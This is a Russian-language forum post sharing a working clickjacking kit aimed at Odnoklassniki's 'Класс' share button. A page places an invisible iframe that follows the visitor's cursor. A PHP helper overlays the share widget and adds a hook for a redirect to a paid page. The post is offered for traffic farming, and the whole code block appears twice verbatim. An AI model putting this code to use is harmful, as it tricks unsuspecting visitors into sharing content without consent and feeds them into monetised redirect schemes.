eriko
30.08.2014, 13:01
Наверное многих оды обломили, когда включили всплывающее окно, после клика на кнопку класс, а потом еще и редиректы нам обломили, встречайте, эта кнопка класс активируется после второго клика на него почти в 90% случаев, зато окошка нету!
Это скрипт примера такой страницы:
<html>
<head>
<title>OK</title>
<script src="//ajax.googleapis.com/ajax/libs/jquery/1.10.1/jquery.min.js"></script>
</head>
<body>
<div class="iframetrack" id="klass" bannerid='yyy' style="position: absolute; opacity: 1;"><iframe id="klassss" onload="readyklass();" src="/klass.php?url=ССЫЛКА_КОТОРУЮ_НУЖНО_КЛАССИТЬ" marginwidth="0" marginheight="0" vspace="0" hspace="0" frameborder="0" allowtransparency="true" scrolling="no" style="display: none; border:none;margin:0;padding:0;width:100px;height: 26px;"></iframe></div>
<script type="text/javascript">
function readyklass() {
window.focus();
var klassss = document.getElementById("klassss");
klassss.style.display = 'block';
var overiFrame = -1;
$('iframe').hover( function() {
overiFrame = $(this).closest('.iframetrack').attr('bannerid');
}, function() {
overiFrame = -1
});
$(window).blur( function() {
if( overiFrame != -1 )
klassss.contentWindow.vverx();
});
}
$(document).ready(function(){
$(window).mousemove(function (pos) {
$("#klass").css('left',(pos.pageX-50)+'px').css('top',(pos.pageY-15)+'px');
});
});
</script>
</body>
</html>
А это скрипт класса: (klass.php)
<?php
$url = urlencode($_GET['url'].'#'. rand(1, 100));
?>
<html>
<head>
<title>ok</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<script type="text/javascript" src="//code.internetrange.com/jquery-1.11.0.js"></script>
</head>
<body marginwidth="0" marginheight="0" style="margin: 0px; padding: 0px; border: none;">
<script type="text/javascript">
function vverx() {
document.getElementById("sess_wrp_clk").style.top = '-60px';
}
function listenForShare() {
if (window.addEventListener) {
window.addEventListener('message', onShare, false);
} else {
window.attachEvent('onmessage', onShare);
}
}
function onShare(e) {
var args = e.data.split("$");
if (args[0] == "ok_shared") {
// сюда вставь редирект на платник
}
}
listenForShare();
</script>
<div id="sess_wrp" style="margin:0;padding:0;border:none;width:150px;height: 150px;position:relative;top:0;overflow:hidden;">
<div id="sess_wrp_ok" style="border:none;position:relative;top:-36px;">
<iframe id="__okShare0" scrolling="no" frameborder="0" src="http://connect.odnoklassniki.ru/dk?st.cmd=WidgetShare&st.shareUrl=<?php echo $url; ?>&st.fid=__okShare0&st.hoster=<?php echo $url; ?>&st.settings=%7Bwidth%3A100%2Cheight%3A100%2Cst%3A %27oval%27%2Csz%3A100%2Cnt%3A1%2Cnc%3A1%7D" style="border: 0px; width: 101px; height: 100px;"></iframe>
</div>
<iframe id="sess_wrp_clk" style="border:none;width:650px;height:200px;z-index:10;position:absolute;left:-28px;top:70px" scrolling="no" frameborder="no" name="ShareConfirm" src="http://connect.odnoklassniki.ru/error404"></iframe>
</div>
</body>
</html>
P.S. Все бегом за трафом!
Это скрипт примера такой страницы:
<html>
<head>
<title>OK</title>
<script src="//ajax.googleapis.com/ajax/libs/jquery/1.10.1/jquery.min.js"></script>
</head>
<body>
<div class="iframetrack" id="klass" bannerid='yyy' style="position: absolute; opacity: 1;"><iframe id="klassss" onload="readyklass();" src="/klass.php?url=ССЫЛКА_КОТОРУЮ_НУЖНО_КЛАССИТЬ" marginwidth="0" marginheight="0" vspace="0" hspace="0" frameborder="0" allowtransparency="true" scrolling="no" style="display: none; border:none;margin:0;padding:0;width:100px;height: 26px;"></iframe></div>
<script type="text/javascript">
function readyklass() {
window.focus();
var klassss = document.getElementById("klassss");
klassss.style.display = 'block';
var overiFrame = -1;
$('iframe').hover( function() {
overiFrame = $(this).closest('.iframetrack').attr('bannerid');
}, function() {
overiFrame = -1
});
$(window).blur( function() {
if( overiFrame != -1 )
klassss.contentWindow.vverx();
});
}
$(document).ready(function(){
$(window).mousemove(function (pos) {
$("#klass").css('left',(pos.pageX-50)+'px').css('top',(pos.pageY-15)+'px');
});
});
</script>
</body>
</html>
А это скрипт класса: (klass.php)
<?php
$url = urlencode($_GET['url'].'#'. rand(1, 100));
?>
<html>
<head>
<title>ok</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<script type="text/javascript" src="//code.internetrange.com/jquery-1.11.0.js"></script>
</head>
<body marginwidth="0" marginheight="0" style="margin: 0px; padding: 0px; border: none;">
<script type="text/javascript">
function vverx() {
document.getElementById("sess_wrp_clk").style.top = '-60px';
}
function listenForShare() {
if (window.addEventListener) {
window.addEventListener('message', onShare, false);
} else {
window.attachEvent('onmessage', onShare);
}
}
function onShare(e) {
var args = e.data.split("$");
if (args[0] == "ok_shared") {
// сюда вставь редирект на платник
}
}
listenForShare();
</script>
<div id="sess_wrp" style="margin:0;padding:0;border:none;width:150px;height: 150px;position:relative;top:0;overflow:hidden;">
<div id="sess_wrp_ok" style="border:none;position:relative;top:-36px;">
<iframe id="__okShare0" scrolling="no" frameborder="0" src="http://connect.odnoklassniki.ru/dk?st.cmd=WidgetShare&st.shareUrl=<?php echo $url; ?>&st.fid=__okShare0&st.hoster=<?php echo $url; ?>&st.settings=%7Bwidth%3A100%2Cheight%3A100%2Cst%3A %27oval%27%2Csz%3A100%2Cnt%3A1%2Cnc%3A1%7D" style="border: 0px; width: 101px; height: 100px;"></iframe>
</div>
<iframe id="sess_wrp_clk" style="border:none;width:650px;height:200px;z-index:10;position:absolute;left:-28px;top:70px" scrolling="no" frameborder="no" name="ShareConfirm" src="http://connect.odnoklassniki.ru/error404"></iframe>
</div>
</body>
</html>
P.S. Все бегом за трафом!